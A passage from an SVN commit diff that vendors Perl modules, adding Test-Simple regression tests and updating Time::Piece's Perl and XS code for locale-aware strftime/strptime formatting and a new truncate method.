+};
+
+subtest 'subtest' => sub {
+    Test::Builder->new->reset;
+    subtest 'subtest' => sub {
+        Test::Builder->new->reset;
+        ok 1;
+    };
+    ok 1;
+};
+
+done_testing;

Added: vendor/perl/dist/cpan/Test-Simple/t/regression/buffered_subtest_plan_buffered.t
===================================================================
--- vendor/perl/dist/cpan/Test-Simple/t/regression/buffered_subtest_plan_buffered.t	                        (rev 0)
+++ vendor/perl/dist/cpan/Test-Simple/t/regression/buffered_subtest_plan_buffered.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,39 @@
+use Test2::Tools::Tiny;
+use strict;
+use warnings;
+
+use Test2::API qw/intercept test2_stack/;
+use Data::Dumper;
+
+sub hide_buffered { 0 }
+
+sub write {
+    my $self = shift;
+    my ($e) = @_;
+
+    push @{$self->{events}} => $e;
+}
+
+sub finalize { }
+
+my $events;
+intercept {
+    my $hub = test2_stack()->top;
+    my $formatter = bless({}, __PACKAGE__);
+    $hub->format($formatter);
+    tests xxx => sub {
+        ok(1, "pass");
+    };
+
+    $events = $formatter->{events};
+};
+
+pop @$events;
+
+
+for my $e (@$events) {
+    ok($e->trace->buffered, "Buffered events are all listed as buffered") || diag(Dumper($e));
+}
+
+done_testing;
+

Added: vendor/perl/dist/cpan/Test-Simple/t/regression/builder_does_not_init.t
===================================================================
--- vendor/perl/dist/cpan/Test-Simple/t/regression/builder_does_not_init.t	                        (rev 0)
+++ vendor/perl/dist/cpan/Test-Simple/t/regression/builder_does_not_init.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,18 @@
+use strict;
+use warnings;
+
+use Carp qw/confess/;
+use Test2::API::Instance;
+
+BEGIN {
+    no warnings 'redefine';
+    local *Test2::API::Instance::_finalize = sub { confess "_finalize called\n" };
+    local *Test2::API::Instance::load = sub { confess "load called\n" };
+
+    require Test::Builder;
+}
+
+use Test2::Tools::Tiny;
+
+ok(1, "Did not die");
+done_testing();

Added: vendor/perl/dist/cpan/Test-Simple/t/regression/errors_facet.t
===================================================================
--- vendor/perl/dist/cpan/Test-Simple/t/regression/errors_facet.t	                        (rev 0)
+++ vendor/perl/dist/cpan/Test-Simple/t/regression/errors_facet.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,53 @@
+use Test2::Tools::Tiny;
+use Test2::API qw/intercept context/;
+
+{
+    $INC{'My/Event.pm'} = 1;
+
+    package My::Event;
+    use base 'Test2::Event';
+
+    use Test2::Util::Facets2Legacy ':ALL';
+
+    sub facet_data {
+        my $self = shift;
+
+        my $out = $self->common_facet_data;
+
+        $out->{errors} = [{tag => 'OOPS', fail => !$ENV{FAILURE_DO_PASS}, details => "An error occured"}];
+
+        return $out;
+    }
+}
+
+sub error {
+    my $ctx = context();
+    my $e = $ctx->send_event('+My::Event');
+    $ctx->release;
+    return $e;
+}
+
+my $events = intercept {
+    tests foo => sub {
+        ok(1, "need at least 1 assertion");
+        error();
+    };
+};
+
+ok(!$events->[0]->pass, "Subtest did not pass");
+
+my ($passing_a, $passing_b);
+intercept {
+    my $hub = Test2::API::test2_stack->top;
+
+    $passing_a = $hub->is_passing;
+
+    error();
+
+    $passing_b = $hub->is_passing;
+};
+
+ok($passing_a, "Passign before error");
+ok(!$passing_b, "Not passing after error");
+
+done_testing;

Added: vendor/perl/dist/cpan/Test-Simple/t/regression/inherit_trace.t
===================================================================
--- vendor/perl/dist/cpan/Test-Simple/t/regression/inherit_trace.t	                        (rev 0)
+++ vendor/perl/dist/cpan/Test-Simple/t/regression/inherit_trace.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,33 @@
+use Test2::Tools::Tiny;
+use strict;
+use warnings;
+
+use Test2::API qw/context run_subtest intercept/;
+
+sub do_it {
+    my $ctx = context();
+
+    run_subtest foo =>  sub {
+        ok(1, "pass");
+    }, {inherit_trace => 1};
+
+    $ctx->release;
+}
+
+do_it();
+do_it();
+
+my $events = intercept {
+    do_it();
+    do_it();
+};
+
+for my $st (@$events) {
+    next unless $st->isa('Test2::Event::Subtest');
+
+    is($st->trace->nested, 0, "base subtest is not nested");
+
+    is($_->trace->nested, 1, "subevent is nested") for @{$st->subevents};
+}
+
+done_testing;

Added: vendor/perl/dist/cpan/Test-Simple/t/regression/todo_and_facets.t
===================================================================
--- vendor/perl/dist/cpan/Test-Simple/t/regression/todo_and_facets.t	                        (rev 0)
+++ vendor/perl/dist/cpan/Test-Simple/t/regression/todo_and_facets.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,52 @@
+use strict;
+use warnings;
+
+use Test2::API qw/context/;
+
+use Test2::Tools::Tiny qw/done_testing todo/;
+use Test::More();
+
+BEGIN {
+    *tm_ok = \&Test::More::ok;
+    *tm_pass = \&Test::More::pass;
+    *tm_fail = \&Test::More::fail;
+}
+
+use vars qw/$TODO/;
+
+sub leg_ok($;$@) {
+    my ($bool, $name, @diag);
+    my $ctx = context();
+    $ctx->ok($bool, $name, \@diag);
+    $ctx->release;
+
+    return $bool;
+}
+
+sub new_ok($;$@) {
+    my ($bool, $name, @diag) = @_;
+    my $ctx = context();
+
+    return $ctx->pass_and_release($name) if $bool;
+    return $ctx->fail_and_release($name, @diag);
+}
+
+{
+    local $TODO = "Testing TODO";
+
+    tm_ok(0, "tm_ok fail");
+    tm_fail('tm_fail');
+
+    leg_ok(0, "legacy ok fail");
+    new_ok(0, "new ok fail");
+}
+
+todo new_todo_test => sub {
+    tm_ok(0, "tm_ok fail");
+    tm_fail('tm_fail');
+
+    leg_ok(0, "legacy ok fail");
+    new_ok(0, "new ok fail");
+};
+
+done_testing;

Modified: vendor/perl/dist/cpan/Time-Piece/Piece.pm
===================================================================
--- vendor/perl/dist/cpan/Time-Piece/Piece.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Time-Piece/Piece.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -2,13 +2,11 @@
 
 use strict;
 
-require DynaLoader;
+use XSLoader ();
 use Time::Seconds;
 use Carp;
 use Time::Local;
 
-our @ISA = qw(DynaLoader);
- 
 use Exporter ();
 
 our @EXPORT = qw(
@@ -20,9 +18,9 @@
     ':override' => 'internal',
     );
 
-our $VERSION = '1.31';
+our $VERSION = '1.3204';
 
-bootstrap Time::Piece $VERSION;
+XSLoader::load( 'Time::Piece', $VERSION );
 
 my $DATE_SEP = '-';
 my $TIME_SEP = ':';
@@ -31,7 +29,10 @@
                       August September October November December);
 my @DAY_LIST = qw(Sun Mon Tue Wed Thu Fri Sat);
 my @FULLDAY_LIST = qw(Sunday Monday Tuesday Wednesday Thursday Friday Saturday);
+my $IS_WIN32 = ($^O =~ /Win32/);
 
+my $LOCALE;
+
 use constant {
     'c_sec' => 0,
     'c_min' => 1,
@@ -68,7 +69,10 @@
 
     my $self;
 
-    if (defined($time)) {
+    if (ref($time)) {
+        $self = $time->[c_islocal] ? $class->localtime($time) : $class->gmtime($time);
+    }
+    elsif (defined($time)) {
         $self = $class->localtime($time);
     }
     elsif (ref($class) && $class->isa(__PACKAGE__)) {
@@ -96,19 +100,21 @@
         @components = shift =~ /(\d+)$DATE_SEP(\d+)$DATE_SEP(\d+)(?:(?:T|\s+)(\d+)$TIME_SEP(\d+)(?:$TIME_SEP(\d+)))/;
         @components = reverse(@components[0..5]);
     }
-    return $class->new(_strftime("%s", timelocal(@components)));
+    return $class->new( timelocal(@components ));
 }
 
 sub _mktime {
     my ($class, $time, $islocal) = @_;
+
     $class = eval { (ref $class) && (ref $class)->isa('Time::Piece') }
            ? ref $class
            : $class;
     if (ref($time)) {
-        my @tm_parts = (@{$time}[c_sec .. c_mon], $time->[c_year]+1900);
-        $time->[c_epoch] = $islocal ? timelocal(@tm_parts) : timegm(@tm_parts);
+        my @new_time = @$time;
+        my @tm_parts = (@new_time[c_sec .. c_mon], $new_time[c_year]+1900);
+        $new_time[c_epoch] = $islocal ? timelocal(@tm_parts) : timegm(@tm_parts);
 
-        return wantarray ? @$time : bless [@$time[0..9], $islocal], $class;
+        return wantarray ? @new_time : bless [@new_time[0..9], $islocal], $class;
     }
     _tzset();
     my @time = $islocal ?
@@ -456,31 +462,127 @@
     return $MON_LAST[$_mon] + ($_mon == 1 ? _is_leap_year($year) : 0);
 }
 
-#since %z and %Z are not portable lets just
-#parse it out before calling native strftime
-#(but only if we are in UTC time)
-my %GMT_REPR = (
-    '%z' => '+0000',
-    '%Z' => 'UTC',
-);
+my $trans_map_common = {
 
+    'c' => sub {
+        my ( $format ) = @_;
+        if($LOCALE->{PM} && $LOCALE->{AM}){
+            $format =~ s/%c/%a %d %b %Y %I:%M:%S %p/;
+        }
+        else{
+            $format =~ s/%c/%a %d %b %Y %H:%M:%S/;
+        }
+        return $format;
+    },
+    'r' => sub {
+        my ( $format ) = @_;
+        if($LOCALE->{PM} && $LOCALE->{AM}){
+            $format =~ s/%r/%I:%M:%S %p/;
+        }
+        else{
+            $format =~ s/%r/%H:%M:%S/;
+        }
+        return $format;
+    },
+    'X' => sub {
+        my ( $format ) = @_;
+        if($LOCALE->{PM} && $LOCALE->{AM}){
+            $format =~ s/%X/%I:%M:%S %p/;
+        }
+        else{
+            $format =~ s/%X/%H:%M:%S/;
+        }
+        return $format;
+    },
+};
+
+my $strftime_trans_map = {
+    %{$trans_map_common},
+
+    'e' => sub {
+        my ( $format, $time ) = @_;
+        $format =~ s/%e/%d/ if $IS_WIN32;
+        return $format;
+    },
+    'D' => sub {
+        my ( $format, $time ) = @_;
+        $format =~ s/%D/%m\/%d\/%y/;
+        return $format;
+    },
+    'F' => sub {
+        my ( $format, $time ) = @_;
+        $format =~ s/%F/%Y-%m-%d/;
+        return $format;
+    },
+    'R' => sub {
+        my ( $format, $time ) = @_;
+        $format =~ s/%R/%H:%M/;
+        return $format;
+    },
+    's' => sub {
+        #%s not portable if time parts are from gmtime since %s will
+        #cause a call to native mktime (and thus uses local TZ)
+        my ( $format, $time ) = @_;
+        $format =~ s/%s/$time->[c_epoch]/;
+        return $format;
+    },
+    'T' => sub {
+        my ( $format, $time ) = @_;
+        $format =~ s/%T/%H:%M:%S/ if $IS_WIN32;
+        return $format;
+    },
+    'u' => sub {
+        my ( $format, $time ) = @_;
+        $format =~ s/%u/%w/ if $IS_WIN32;
+        return $format;
+    },
+    'V' => sub {
+        my ( $format, $time ) = @_;
+        my $week = sprintf( "%02d", $time->week() );
+        $format =~ s/%V/$week/ if $IS_WIN32;
+        return $format;
+    },
+    'x' => sub {
+        my ( $format, $time ) = @_;
+        $format =~ s/%x/%a %d %b %Y/;
+        return $format;
+    },
+    'z' => sub {    #%[zZ] not portable if time parts are from gmtime
+        my ( $format, $time ) = @_;
+        $format =~ s/%z/+0000/ if not $time->[c_islocal];
+        return $format;
+    },
+    'Z' => sub {
+        my ( $format, $time ) = @_;
+        $format =~ s/%Z/UTC/ if not $time->[c_islocal];
+        return $format;
+    },
+};
+
 sub strftime {
     my $time = shift;
     my $format = @_ ? shift(@_) : '%a, %d %b %Y %H:%M:%S %Z';
-    if (! $time->[c_islocal]) {
-        $format =~ s/(%.)/$GMT_REPR{$1} || $1/eg;
-    }
+    $format = _translate_format($format, $strftime_trans_map, $time);
 
+    return $format unless $format =~ /%/; #if translate removes everything
+
     return _strftime($format, $time->epoch, $time->[c_islocal]);
 }
 
+my $strptime_trans_map = {
+    %{$trans_map_common},
+};
+
 sub strptime {
     my $time = shift;
     my $string = shift;
     my $format = @_ ? shift(@_) : "%a, %d %b %Y %H:%M:%S %Z";
-    my @vals = _strptime($string, $format);
-#    warn(sprintf("got vals: %d-%d-%d %d:%d:%d\n", reverse(@vals)));
-    return scalar $time->_mktime(\@vals, (ref($time) ? $time->[c_islocal] : 0));
+    my $islocal = (ref($time) ? $time->[c_islocal] : 0);
+    my $locales = $LOCALE || &Time::Piece::_default_locale();
+    $format = _translate_format($format, $strptime_trans_map);
+    my @vals = _strptime($string, $format, $islocal, $locales);
+#    warn(sprintf("got vals: %d-%d-%d %d:%d:%d\n", reverse(@vals[c_sec..c_year])));
+    return scalar $time->_mktime(\@vals, $islocal);
 }
 
 sub day_list {
@@ -488,6 +590,7 @@
     my @old = @DAY_LIST;
     if (@_) {
         @DAY_LIST = @_;
+        &Time::Piece::_default_locale();
     }
     return @old;
 }
@@ -497,6 +600,7 @@
     my @old = @MON_LIST;
     if (@_) {
         @MON_LIST = @_;
+        &Time::Piece::_default_locale();
     }
     return @old;
 }
@@ -634,6 +738,132 @@
     $time->add_months($years * 12);
 }
 
+sub truncate {
+    my ($time, %params) = @_;
+    return $time unless exists $params{to};
+    #if ($params{to} eq 'week') { return $time->_truncate_week; }
+    my %units = (
+        second   => 0,
+        minute   => 1,
+        hour     => 2,
+        day      => 3,
+        month    => 4,
+        quarter  => 5,
+        year     => 5
+    );
+    my $to = $units{$params{to}};
+    croak "Invalid value of 'to' parameter: $params{to}" unless defined $to;
+    my $start_month = 0;
+    if ($params{to} eq 'quarter') {
+        $start_month = int( $time->_mon / 3 ) * 3;
+    }
+    my @down_to = (0, 0, 0, 1, $start_month, $time->year);
+    return $time->_mktime([@down_to[0..$to-1], @$time[$to..c_isdst]],
+        $time->[c_islocal]);
+}
+
+#Given a format and a translate map, replace format flags in
+#accordance with the logic from the translation map subroutines
+sub _translate_format {
+    my ( $format, $trans_map, $time ) = @_;
+
+    $format =~ s/%%/\e\e/g; #escape the escape
+    my $lexer = _build_format_lexer($format);
+
+	while(my $flag = $lexer->() ){
+        next unless exists $trans_map->{$flag};
+		$format = $trans_map->{$flag}($format, $time);
+	}
+
+    $format =~ s/\e\e/%%/g;
+    return $format;
+}
+
+sub _build_format_lexer {
+    my $format = shift();
+
+    #Higher Order Perl p.359 (or thereabouts)
+    return sub {
+        LABEL: {
+        return $1 if $format =~ m/\G%([a-zA-Z])/gc; #return single char flags
+
+        redo LABEL if $format =~ m/\G(.)/gc;
+        return; #return at empty string
+        }
+    };
+}
+
+sub use_locale {
+    #get locale month/day names from posix strftime (from Piece.xs)
+    my $locales = _get_localization();
+
+    $locales->{PM} ||= '';
+    $locales->{AM} ||= '';
+
+    $locales->{pm} = lc $locales->{PM};
+    $locales->{am} = lc $locales->{AM};
+    #should probably figure out how to get a
+    #region specific format for %c someday
+    $locales->{c_fmt} = '';
+
+    #Set globals. If anything is
+    #weird just use original
+    if( @{$locales->{weekday}} < 7 ){
+        @{$locales->{weekday}} = @FULLDAY_LIST;
+    }
+    else {
+        @FULLDAY_LIST = @{$locales->{weekday}};
+    }
+
+    if( @{$locales->{wday}} < 7 ){
+        @{$locales->{wday}} = @DAY_LIST;
+    }
+    else {
+        @DAY_LIST = @{$locales->{wday}};
+    }
+
+    if( @{$locales->{month}} < 12 ){
+        @{$locales->{month}} = @FULLMON_LIST;
+    }else {
+        @FULLMON_LIST = @{$locales->{month}};
+    }
+
+    if( @{$locales->{mon}} < 12 ){
+        @{$locales->{mon}} = @MON_LIST;
+    }
+    else{
+        @MON_LIST= @{$locales->{mon}};
+    }
+
+    $LOCALE = $locales;
+}
+
+#$Time::Piece::LOCALE is used by strptime and thus needs to be
+#in sync with what ever users change to via day_list() and mon_list().
+#Should probably deprecate this use of gloabl state, but oh well...
+sub _default_locale {
+    my $locales = {};
+
+    @{ $locales->{weekday} } = @FULLDAY_LIST;
+    @{ $locales->{wday} }    = @DAY_LIST;
+    @{ $locales->{month} }   = @FULLMON_LIST;
+    @{ $locales->{mon} }     = @MON_LIST;
+    $locales->{alt_month} = $locales->{month};
+
+    $locales->{PM}    = 'PM';
+    $locales->{AM}    = 'AM';
+    $locales->{pm}    = 'pm';
+    $locales->{am}    = 'am';
+    $locales->{c_fmt} = '';
+
+    $LOCALE = $locales;
+}
+
+sub _locale {
+    return $LOCALE;
+}
+
+
 1;
 __END__
 
@@ -658,7 +888,7 @@
 
 The module actually implements most of an interface described by
 Larry Wall on the perl5-porters mailing list here:
-http://www.xray.mpe.mpg.de/mailing-lists/perl5-porters/2000-01/msg00241.html
+L<http://www.xray.mpe.mpg.de/mailing-lists/perl5-porters/2000-01/msg00241.html>
 
 =head1 USAGE
 
@@ -739,7 +969,8 @@
 Both wdayname (day) and monname (month) allow passing in a list to use
 to index the name of the days against. This can be useful if you need
 to implement some form of localisation without actually installing or
-using locales.
+using locales. Note that this is a global override and will affect
+all Time::Piece instances.
 
   my @days = qw( Dimanche Lundi Merdi Mercredi Jeudi Vendredi Samedi );
 
@@ -757,6 +988,9 @@
 
   print localtime->month(@months);
 
+Or to populate with your current system locale call:
+    Time::Piece->use_locale();
+
 =head2 Date Calculations
 
 It's possible to use simple addition and subtraction of objects:
@@ -783,8 +1017,8 @@
 In addition to adding seconds, there are two APIs for adding months and
 years:
 
-    $t->add_months(6);
-    $t->add_years(5);
+    $t = $t->add_months(6);
+    $t = $t->add_years(5);
 
 The months and years can be negative for subtractions. Note that there
 is some "strange" behaviour when adding and subtracting months at the
@@ -794,6 +1028,17 @@
 is an impossible date. Instead you will get 2008-03-02. This appears to
 be consistent with other date manipulation tools.
 
+=head2 Truncation
+
+Calling the C<truncate> method returns a copy of the object but with the
+time truncated to the start of the supplied unit.
+
+    $t = $t->truncate(to => 'day');
+
+This example will set the time to midnight on the same date which C<$t>
+had previously. Allowed values for the "to" parameter are: "year",
+"quarter", "month", "day", "hour", "minute" and "second".
+
 =head2 Date Comparisons
 
 Date comparisons are also possible, using the full suite of "<", ">",
@@ -818,8 +1063,35 @@
 For more information see "man strptime", which should be on all unix
 systems.
 
-Alternatively look here: http://www.unix.com/man-page/FreeBSD/3/strftime/
+Alternatively look here: L<http://www.unix.com/man-page/FreeBSD/3/strftime/>
 
+=head3 CAVEAT %A, %a, %B, %b, and friends
+
+Time::Piece::strptime by default can only parse American English date names.
+Meanwhile, Time::Piece->strftime() will return date names that use the current
+configured system locale. This means dates returned by strftime might not be
+able to be parsed by strptime. This is the default behavior and can be
+overridden by calling Time::Piece->use_locale(). This builds a list of the
+current locale's day and month names which strptime will use to parse with.
+Note this is a global override and will affect all Time::Piece instances.
+
+For instance with a German locale:
+
+    localtime->day_list();
+
+Returns
+
+    ( 'Sun', 'Mon', 'Tue', 'Wed', 'Thu', 'Fri', 'Sat' )
+
+While:
+
+    Time::Piece->use_locale();
+    localtime->day_list();
+
+Returns
+
+    ( 'So', 'Mo', 'Di', 'Mi', 'Do', 'Fr', 'Sa' )
+
 =head2 YYYY-MM-DDThh:mm:ss
 
 The ISO 8601 standard defines the date format to be YYYY-MM-DD, and
@@ -886,7 +1158,7 @@
 
 =head1 SEE ALSO
 
-The excellent Calendar FAQ at http://www.tondering.dk/claus/calendar.html
+The excellent Calendar FAQ at L<http://www.tondering.dk/claus/calendar.html>
 
 =head1 BUGS
 

Modified: vendor/perl/dist/cpan/Time-Piece/Piece.xs
===================================================================
--- vendor/perl/dist/cpan/Time-Piece/Piece.xs	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Time-Piece/Piece.xs	2018-12-22 22:55:19 UTC (rev 12126)
@@ -10,31 +10,7 @@
 }
 #endif
 
-/* XXX struct tm on some systems (SunOS4/BSD) contains extra (non POSIX)
- * fields for which we don't have Configure support prior to Perl 5.8.0:
- *   char *tm_zone;   -- abbreviation of timezone name
- *   long tm_gmtoff;  -- offset from GMT in seconds
- * To workaround core dumps from the uninitialised tm_zone we get the
- * system to give us a reasonable struct to copy.  This fix means that
- * strftime uses the tm_zone and tm_gmtoff values returned by
- * localtime(time()). That should give the desired result most of the
- * time. But probably not always!
- *
- * This is a vestigial workaround for Perls prior to 5.8.0.  We now
- * rely on the initialization (still likely a workaround) in util.c.
- */
-#if !defined(PERL_VERSION) || PERL_VERSION < 8
 
-#if defined(HAS_GNULIBC)
-# ifndef STRUCT_TM_HASZONE
-#    define STRUCT_TM_HASZONE
-# else
-#    define USE_TM_GMTOFF
-# endif
-#endif
-
-#endif /* end of pre-5.8 */
-
 #define    DAYS_PER_YEAR    365
 #define    DAYS_PER_QYEAR    (4*DAYS_PER_YEAR+1)
 #define    DAYS_PER_CENT    (25*DAYS_PER_QYEAR-1)
@@ -48,27 +24,8 @@
 #define    YEAR_ADJUST    (4*MONTH_TO_DAYS+1)
 /* as used here, the algorithm leaves Sunday as day 1 unless we adjust it */
 #define    WEEKDAY_BIAS    6    /* (1+6)%7 makes Sunday 0 again */
+#define    TP_BUF_SIZE     160
 
-#if !defined(PERL_VERSION) || PERL_VERSION < 8
-
-#ifdef STRUCT_TM_HASZONE
-static void
-my_init_tm(struct tm *ptm)        /* see mktime, strftime and asctime    */
-{
-    Time_t now;
-    (void)time(&now);
-    Copy(localtime(&now), ptm, 1, struct tm);
-}
-
-#else
-# define my_init_tm(ptm)
-#endif
-
-#else
-/* use core version from util.c in 5.8.0 and later */
-# define my_init_tm init_tm
-#endif
-
 #ifdef WIN32
 
 /*
@@ -154,7 +111,7 @@
         crt_tz_env = "";
     if (strcmp(perl_tz_env, crt_tz_env) != 0) {
         STRLEN perl_tz_env_len = strlen(perl_tz_env);
-        newenv = (char*)malloc((perl_tz_env_len + 4) * sizeof(char));
+        newenv = (char*)malloc(perl_tz_env_len + 4);
         if (newenv != NULL) {
 /* putenv with old MS CRTs will cause a double free internally if you delete
    an env var with the CRT env that doesn't exist in Win32 env (perl %ENV only
@@ -369,82 +326,20 @@
 #define asizeof(a)	(sizeof (a) / sizeof ((a)[0]))
 
 struct lc_time_T {
-    const char *    mon[12];
-    const char *    month[12];
-    const char *    wday[7];
-    const char *    weekday[7];
-    const char *    X_fmt;
-    const char *    x_fmt;
-    const char *    c_fmt;
-    const char *    am;
-    const char *    pm;
-    const char *    date_fmt;
-    const char *    alt_month[12];
-    const char *    Ef_fmt;
-    const char *    EF_fmt;
+    char *  mon[12];
+    char *  month[12];
+    char *  wday[7];
+    char *  weekday[7];
+    char *  am;
+    char *  pm;
+    char *  AM;
+    char *  PM;
+    char *  alt_month[12];
 };
 
-struct lc_time_T _time_localebuf;
-int _time_using_locale;
 
-const struct lc_time_T	_C_time_locale = {
-	{
-		"Jan", "Feb", "Mar", "Apr", "May", "Jun",
-		"Jul", "Aug", "Sep", "Oct", "Nov", "Dec"
-	}, {
-		"January", "February", "March", "April", "May", "June",
-		"July", "August", "September", "October", "November", "December"
-	}, {
-		"Sun", "Mon", "Tue", "Wed",
-		"Thu", "Fri", "Sat"
-	}, {
-		"Sunday", "Monday", "Tuesday", "Wednesday",
-		"Thursday", "Friday", "Saturday"
-	},
+static struct lc_time_T _C_time_locale;
 
-	/* X_fmt */
-	"%H:%M:%S",
-
-	/*
-	** x_fmt
-	** Since the C language standard calls for
-	** "date, using locale's date format," anything goes.
-	** Using just numbers (as here) makes Quakers happier;
-	** it's also compatible with SVR4.
-	*/
-	"%m/%d/%y",
-
-	/*
-	** c_fmt (ctime-compatible)
-	** Not used, just compatibility placeholder.
-	*/
-	NULL,
-
-	/* am */
-	"AM",
-
-	/* pm */
-	"PM",
-
-	/* date_fmt */
-	"%a %Ef %X %Z %Y",
-	
-	{
-		"January", "February", "March", "April", "May", "June",
-		"July", "August", "September", "October", "November", "December"
-	},
-
-	/* Ef_fmt
-	** To determine short months / day order
-	*/
-	"%b %e",
-
-	/* EF_fmt
-	** To determine long months / day order
-	*/
-	"%B %e"
-};
-
 #define Locale (&_C_time_locale)
 
 static char *
@@ -452,8 +347,8 @@
 {
 	char c;
 	const char *ptr;
-	int i,
-		len;
+	int i;
+	size_t len;
 	int Ealternative, Oalternative;
 
     /* There seems to be a slightly improved version at
@@ -488,7 +383,7 @@
 			break;
 
 		case '+':
-			buf = _strptime(aTHX_ buf, Locale->date_fmt, tm, got_GMT);
+			buf = _strptime(aTHX_ buf, "%c", tm, got_GMT);
 			if (buf == 0)
 				return 0;
 			break;
@@ -512,7 +407,8 @@
 
 		case 'c':
 			/* NOTE: c_fmt is intentionally ignored */
-                        buf = _strptime(aTHX_ buf, "%a %Ef %T %Y", tm, got_GMT);
+
+			buf = _strptime(aTHX_ buf, "%a %d %b %Y %I:%M:%S %p %Z", tm, got_GMT);
 			if (buf == 0)
 				return 0;
 			break;
@@ -536,10 +432,7 @@
 			goto label;
 
 		case 'F':
-		case 'f':
-			if (!Ealternative)
-				break;
-			buf = _strptime(aTHX_ buf, (c == 'f') ? Locale->Ef_fmt : Locale->EF_fmt, tm, got_GMT);
+			buf = _strptime(aTHX_ buf, "%Y-%m-%d", tm, got_GMT);
 			if (buf == 0)
 				return 0;
 			break;
@@ -571,13 +464,13 @@
 			break;
 
 		case 'X':
-			buf = _strptime(aTHX_ buf, Locale->X_fmt, tm, got_GMT);
+			buf = _strptime(aTHX_ buf, "%I:%M:%S %p", tm, got_GMT);
 			if (buf == 0)
 				return 0;
 			break;
 
 		case 'x':
-			buf = _strptime(aTHX_ buf, Locale->x_fmt, tm, got_GMT);
+			buf = _strptime(aTHX_ buf, "%a %d %b %Y", tm, got_GMT);
 			if (buf == 0)
 				return 0;
 			break;
@@ -664,12 +557,14 @@
 			break;
 
 		case 'p':
+		case 'P':
 			/*
 			 * XXX This is bogus if parsed before hour-related
 			 * specifiers.
 			 */
             len = strlen(Locale->am);
-			if (strncasecmp(buf, Locale->am, len) == 0) {
+			if (strncasecmp(buf, Locale->am, len) == 0 ||
+					strncasecmp(buf, Locale->AM, len) == 0) {
 				if (tm->tm_hour > 12)
 					return 0;
 				if (tm->tm_hour == 12)
@@ -679,7 +574,8 @@
 			}
 
 			len = strlen(Locale->pm);
-			if (strncasecmp(buf, Locale->pm, len) == 0) {
+			if (strncasecmp(buf, Locale->pm, len) == 0 ||
+					strncasecmp(buf, Locale->PM, len) == 0) {
 				if (tm->tm_hour > 12)
 					return 0;
 				if (tm->tm_hour != 12)
@@ -715,6 +611,7 @@
 			break;
 
 		case 'U':
+		case 'V':
 		case 'W':
 			/*
 			 * XXX This is bogus, as we can not assume any valid
@@ -739,16 +636,20 @@
 					ptr++;
 			break;
 
+		case 'u':
 		case 'w':
 			if (!isdigit((unsigned char)*buf))
 				return 0;
 
 			i = *buf - '0';
-			if (i > 6)
+			if (i > 6 + (c == 'u'))
 				return 0;
+			if (i == 7)
+				i = 0;
 
 			tm->tm_wday = i;
 
+			buf++;
 			if (*buf != 0 && isspace((unsigned char)*buf))
 				while (*ptr != 0 && !isspace((unsigned char)*ptr))
 					ptr++;
@@ -856,8 +757,12 @@
 			errno = sverrno;
 			buf = cp;
             memset(&mytm, 0, sizeof(mytm));
-            my_init_tm(&mytm);    /* XXX workaround - see my_init_tm() above */
-            mytm = *gmtime(&t);
+
+            if(*got_GMT == 1)
+                mytm = *localtime(&t);
+            else
+                mytm = *gmtime(&t);
+
             tm->tm_sec    = mytm.tm_sec;
             tm->tm_min    = mytm.tm_min;
             tm->tm_hour   = mytm.tm_hour;
@@ -906,12 +811,12 @@
 			for (cp = buf; *cp && isupper((unsigned char)*cp); ++cp)
                             {/*empty*/}
 			if (cp - buf) {
-				zonestr = (char *)malloc(cp - buf + 1);
+				zonestr = (char *)malloc((size_t) (cp - buf + 1));
 				if (!zonestr) {
 				    errno = ENOMEM;
 				    return 0;
 				}
-				strncpy(zonestr, buf, cp - buf);
+				strncpy(zonestr, buf,(size_t) (cp - buf));
 				zonestr[cp - buf] = '\0';
 				my_tzset(aTHX);
 				if (0 == strcmp(zonestr, "GMT")) {
@@ -966,7 +871,7 @@
    !!!! You must mortalize whatever push_common_tm put on stack yourself to
         avoid leaking !!!!
 */
-SV **
+static SV **
 push_common_tm(pTHX_ SV ** SP, struct tm *mytm)
 {
 	PUSHs(newSViv(mytm->tm_sec));
@@ -988,12 +893,12 @@
   return   -- none, after calling return_11part_tm, you must call "return;"
               no exceptions
 */
-void
+static void
 return_11part_tm(pTHX_ SV ** SP, struct tm *mytm)
 {
        my_mini_mktime(mytm);
 
-  /* warn("tm: %d-%d-%d %d:%d:%d\n", mytm.tm_year, mytm.tm_mon, mytm.tm_mday, mytm.tm_hour, mytm.tm_min, mytm.tm_sec); */
+  /* warn("tm: %d-%d-%d %d:%d:%d\n", mytm->tm_year, mytm->tm_mon, mytm->tm_mday, mytm->tm_hour, mytm->tm_min, mytm->tm_sec); */
        EXTEND(SP, 11);
        SP = push_common_tm(aTHX_ SP, mytm);
        /* epoch */
@@ -1013,6 +918,36 @@
        return;
 }
 
+
+static void _populate_C_time_locale(pTHX_ HV* locales )
+{
+    AV* alt_names   = (AV *) SvRV( *hv_fetch(locales, "alt_month", 9, 0) );
+    AV* long_names  = (AV *) SvRV( *hv_fetch(locales, "month", 5, 0) );
+    AV* short_names = (AV *) SvRV( *hv_fetch(locales, "mon", 3, 0) );
+    int i;
+
+    for (i = 0; i < 1 + (int) av_len( long_names ); i++) {
+        Locale->alt_month[i] = SvPV_nolen( (SV *) *av_fetch(alt_names, i, 0) );
+        Locale->month[i]     = SvPV_nolen( (SV *) *av_fetch(long_names, i, 0) );
+        Locale->mon[i]       = SvPV_nolen( (SV *) *av_fetch(short_names, i, 0) );
+    }
+
+    long_names = (AV *) SvRV( *hv_fetch(locales, "weekday", 7, 0) );
+    short_names = (AV *) SvRV( *hv_fetch(locales, "wday", 4, 0) );
+
+    for (i = 0; i < 1 + (int) av_len( long_names ); i++) {
+        Locale->wday[i]    = SvPV_nolen( (SV *) *av_fetch(short_names, i, 0) );
+        Locale->weekday[i] = SvPV_nolen( (SV *) *av_fetch(long_names, i, 0) );
+    }
+
+    Locale->am = SvPV_nolen( (SV *) *hv_fetch(locales, "am", 2, 0) );
+    Locale->pm = SvPV_nolen( (SV *) *hv_fetch(locales, "pm", 2, 0) );
+    Locale->AM = SvPV_nolen( (SV *) *hv_fetch(locales, "AM", 2, 0) );
